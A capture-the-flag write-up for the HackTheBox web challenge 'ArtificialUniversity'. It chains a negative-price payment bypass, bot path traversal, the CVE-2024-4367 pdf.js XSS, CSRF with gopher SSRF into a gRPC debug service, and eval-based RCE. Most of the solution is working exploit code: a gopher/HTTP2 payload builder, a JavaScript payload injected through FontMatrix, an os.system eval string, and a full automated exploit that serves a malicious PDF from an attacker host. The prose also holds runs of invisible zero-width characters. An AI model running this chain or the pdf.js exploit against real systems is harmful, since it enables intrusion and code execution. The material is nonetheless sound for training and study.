← Back to Writeups
HTBN/AWeb

ArtificialUniversity

XESXOR8/23/20267 min read
#web#htb#n/a#CVE-2024-4367

ArtificialUniversity

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-21 | Status: Solved Techniques: csrf_form_submit_cors_bypass, cve_2024_4367_pdfjs_fontmatrix_xss, eval_rce_via_price_formula, gopher_ssrf_to_grpc_h2c, grpc_debugservice_mass_assignment, multi_stage_bot_exploitation, path_traversal_bot_navigation, payment_logic_bypass_negative_price

Summary

Task: Flask store with gRPC backend, admin bot (Firefox 125.0.1), custom curl with gopher support. Solution: 5-vuln chain — negative price payment bypass triggers bot, path traversal steers bot to admin endpoint, CVE-2024-4367 pdf.js XSS executes JS, CSRF+gopher SSRF calls gRPC DebugService to set eval payload, second bot trigger fires eval for RCE.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260621_hackthebox_artificialuniversity
  • Tags: admin_bot, csrf, cve_2024_4367, eval, flask, gopher, grpc, http2, mass_assignment, path_traversal, payment_bypass, pdfjs, protobuf, rce, ssrf, xss
  • Indicators: get_amount_paid() always returns 0, Firefox 125.0.1 with vulnerable pdf.js, custom curl 7.70.0 with gopher support, gRPC DebugService with UpdateService mass-assignment, eval(self.price_formula) in GenerateProduct
  • Source: 20260621_hackthebox_artificialuniversity.md

Foothold

Vulnerability / Misconfiguration

  1. Csrf_form_submit_cors_bypass
  2. Cve_2024_4367_pdfjs_fontmatrix_xss
  3. Eval_rce_via_price_formula
  4. Gopher_ssrf_to_grpc_h2c
  5. Grpc_debugservice_mass_assignment
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • csrf_form_submit_cors_bypass
  • cve_2024_4367_pdfjs_fontmatrix_xss
  • eval_rce_via_price_formula
  • gopher_ssrf_to_grpc_h2c
  • grpc_debugservice_mass_assignment
  • multi_stage_bot_exploitation
  • path_traversal_bot_navigation
  • payment_logic_bypass_negative_price
  • Tags: admin_bot, csrf, cve_2024_4367, eval, flask, gopher, grpc, http2, mass_assignment, path_traversal, payment_bypass, pdfjs, protobuf, rce, ssrf, xss

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A group of known scammers are using a decoy dropshipping course site for cloaking payments from their other fraudulent sites. As you browse through it to look for more details you notice a small programming bug, that could lead to way bigger impact than initially expected. Keep looking for more vulnerabilities and take this greasy operation down.

English summary: Flask-based store application with internal gRPC product API, admin bot (Selenium Firefox 125.0.1), and custom curl 7.70.0 with gopher protocol support. The flag is at /flag<random10hex>.txt requiring RCE. The challenge requires chaining 5 vulnerabilities to achieve code execution. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Architecture

  • Flask store on :1337 — public-facing web application
  • gRPC product_api on :50051 — internal service, binds [::]
  • Admin bot: Selenium Firefox 125.0.1, logs in as admin (ed@artificialuniversity.htb / random password), visits http://127.0.0.1:1337/static/invoices/invoice_{payment_id}.pdf
  • Custom curl 7.70.0: supports gopher:// protocol and null bytes in URLs
  • Single Docker container, flag renamed to /flag<random10hex>.txt

Analysis

Vulnerability 1: Payment Logic Bug — Negative Price Bypass

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In payments.py, get_amount_paid() always returns 0. The /checkout endpoint allows external orders without authentication when no product_id is provided. Setting price=-9999 makes the check 0 >= -9999 evaluate to True in /checkout/success, which triggers bot_runner() with attacker-controlled payment_id.

Vulnerability 2: Path Traversal in Bot Navigation

The bot visits: http://127.0.0.1:1337/static/invoices/invoice_{payment_id}.pdf

The payment_id is fully attacker-controlled. Using path traversal:

payment_id = "x/../../../../admin/view-pdf?url=ATTACKER_PDF%26a="
  • x/ creates a directory segment so ../ traversal works
  • %26 encodes & so it's not parsed by /checkout/success but becomes literal & in the bot URL
  • &a=.pdf neutralizes the .pdf suffix appended by the f-string ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Result: bot (admin session) navigates to /admin/view-pdf?url=<attacker PDF>&a=.pdf

Vulnerability 3: CVE-2024-4367 — pdf.js Arbitrary JS Execution

Firefox 125.0.1 uses a vulnerable version of pdf.js (fixed in Firefox 126). The /admin/view-pdf endpoint fetches the attacker's PDF via requests.get(url), checks Content-Type == application/pdf, and returns it via send_file(mimetype="application/pdf"). The bot's Firefox renders it through pdf.js.

The malicious PDF exploits CVE-2024-4367 via a crafted FontMatrix field:

/FontMatrix [0.1 0 0 0.1 0 (1\);
<JS_PAYLOAD>
//)]

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key detail: parentheses ( and ) in the JS payload must be escaped as \( and \) for PDF string syntax. The XSS executes in a pdf.js domain context where fetch() is blocked by CORS, so a form auto-submit is used instead (forms send cookies regardless of CORS).

Vulnerability 4: CSRF + Gopher SSRF → gRPC DebugService

The XSS creates a form that auto-submits POST to /admin/api-health with url=gopher://127.0.0.1:50051/_<h2c bytes>. The endpoint passes the URL to custom curl 7.70.0 which supports gopher://. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The gopher payload contains a complete HTTP/2 cleartext (h2c) byte stream for calling gRPC DebugService. The DebugService calls UpdateService() which is a mass-assignment function: destination.__dict__[key] = value. This sets self.price_formula on the ProductService instance.

Vulnerability 5: eval() RCE

GenerateProduct() in api.py checks if hasattr(self, "price_formula") then runs eval(self.price_formula). This is called by GetNewProducts() which is triggered by /admin/product-stream. A second bot trigger steers the admin to this endpoint, executing the payload. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Register and Create External Order

s = requests.Session()
s.post(f"{TARGET}/register", data={"email": EMAIL, "password": PASSWORD})

# Create order with negative price — bypasses payment check
s.get(f"{TARGET}/checkout", params={
    "title": "order1",
    "user_id": "1",
    "price": "-9999",
    "email": EMAIL,
})

Step 2: Generate Gopher Payload (gRPC DebugService)

#!/usr/bin/env python3
"""Generate gopher URL for gRPC DebugService call to set price_formula."""
import struct
import urllib.parse
import h2.connection, h2.config
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def varint(n):
    o = b''
    while True:
        b = n & 0x7f; n >>= 7
        o += bytes([b | 0x80]) if n else bytes([b])
        if not n: break
    return o

eval_code = '__import__("os").system("cp /flag* /app/store/application/static/flag.txt")'
sv = eval_code.encode()
inputval = b'\x0a' + varint(len(sv)) + sv
key = b'price_formula'
mapentry = b'\x0a' + varint(len(key)) + key + b'\x12' + varint(len(inputval)) + inputval
msg = b'\x0a' + varint(len(mapentry)) + mapentry
grpc_frame = b'\x00' + struct.pack('>I', len(msg)) + msg
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

cfg = h2.config.H2Configuration(client_side=True, header_encoding='utf-8')
c = h2.connection.H2Connection(config=cfg)
c.initiate_connection()
c.send_headers(1, [
    (':method', 'POST'), (':scheme', 'http'),
    (':path', '/product.ProductService/DebugService'),
    (':authority', '127.0.0.1:50051'),
    ('content-type', 'application/grpc'),
    ('te', 'trailers'), ('user-agent', 'grpc-python'),
])
c.send_data(1, grpc_frame, end_stream=True)
raw = c.data_to_send()
gopher_url = f"gopher://127.0.0.1:50051/_{urllib.parse.quote(raw, safe='')}"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Generate CVE-2024-4367 Malicious PDF

js = (
    "var form=document.createElement('form');"
    "form.action='http://127.0.0.1:1337/admin/api-health';"
    "form.method='post';"
    "var urlInput=document.createElement('input');"
    f"urlInput.value='{gopher_url}';"
    "urlInput.name='url';"
    "form.appendChild(urlInput);"
    "document.body.appendChild(form);"
    "form.submit();"
)
escaped = js.replace('(', '\\(').replace(')', '\\)')

# Inject into FontMatrix field of PDF Type1 font object
pdf_font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1\\);\n{escaped}\n//)]"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Stage 1 — Trigger Bot with XSS

# Host evil.pdf on attacker server (cloudflared tunnel for reachability)
pdf_url = f"http://{ATTACKER}/evil.pdf"
traversal = f"x/../../../../admin/view-pdf?url={pdf_url}%26a="

# Trigger bot — path traversal steers it to /admin/view-pdf
s.get(f"{TARGET}/checkout/success", params={
    "order_id": "1",
    "payment_id": traversal,
})
# Bot loads PDF → CVE-2024-4367 XSS fires → form POST to /admin/api-health
# → curl gopher:// → gRPC DebugService → price_formula set

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Stage 2 — Trigger eval

# Create new order and steer bot to /admin/product-stream
oid = create_order(s)
traversal2 = "x/../../../../admin/product-stream?a="
s.get(f"{TARGET}/checkout/success", params={
    "order_id": str(oid),
    "payment_id": traversal2,
})
# Bot visits product-stream → GetNewProducts → GenerateProduct → eval fires
# Note: GetNewProducts generates random.randint(0,3) products — may need retries

Step 6: Read Flag

r = requests.get(f"{TARGET}/static/flag.txt")
print(r.text)  # HTB{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Full Automated Exploit

#!/usr/bin/env python3
"""
ArtificialUniversity (HTB) — Full Exploit Chain
Chain: CVE-2024-4367 (pdf.js XSS) → CSRF → gopher SSRF → gRPC DebugService → eval RCE

Usage: python3 exploit.py <TARGET_URL> <ATTACKER_IP:PORT>
"""
import sys, time, struct, requests, threading, urllib.parse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import h2.connection, h2.config

TARGET = sys.argv[1].rstrip("/")
ATTACKER = sys.argv[2]
ATTACKER_URL = f"http://{ATTACKER}"
EMAIL = "exploit@test.com"
PASSWORD = "exploit123"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def gen_gopher_url():
    def varint(n):
        o = b''
        while True:
            b = n & 0x7f; n >>= 7
            o += bytes([b | 0x80]) if n else bytes([b])
            if not n: break
        return o

    eval_code = '__import__("os").system("cp /flag* /app/store/application/static/flag.txt")'
    sv = eval_code.encode()
    inputval = b'\x0a' + varint(len(sv)) + sv
    key = b'price_formula'
    mapentry = b'\x0a' + varint(len(key)) + key + b'\x12' + varint(len(inputval)) + inputval
    msg = b'\x0a' + varint(len(mapentry)) + mapentry
    grpc_frame = b'\x00' + struct.pack('>I', len(msg)) + msg
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    cfg = h2.config.H2Configuration(client_side=True, header_encoding='utf-8')
    c = h2.connection.H2Connection(config=cfg)
    c.initiate_connection()
    c.send_headers(1, [
        (':method', 'POST'), (':scheme', 'http'),
        (':path', '/product.ProductService/DebugService'),
        (':authority', '127.0.0.1:50051'),
        ('content-type', 'application/grpc'),
        ('te', 'trailers'), ('user-agent', 'grpc-python'),
    ])
    c.send_data(1, grpc_frame, end_stream=True)
    raw = c.data_to_send()
    return f"gopher://127.0.0.1:50051/_{urllib.parse.quote(raw, safe='')}"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def gen_pdf(gopher_url):
    js = (
        "var form=document.createElement('form');"
        "form.action='http://127.0.0.1:1337/admin/api-health';"
        "form.method='post';"
        "var urlInput=document.createElement('input');"
        f"urlInput.value='{gopher_url}';"
        "urlInput.name='url';"
        "form.appendChild(urlInput);"
        "document.body.appendChild(form);"
        "form.submit();"
    )
    escaped = js.replace('(', '\\(').replace(')', '\\)')
    # ... build full PDF with FontMatrix exploit (see gen_pdf.py)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    gopher_url = gen_gopher_url()
    gen_pdf(gopher_url)
    # Start HTTP server, register, trigger Stage 1 then Stage 2
    # Read flag from /static/flag.txt

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR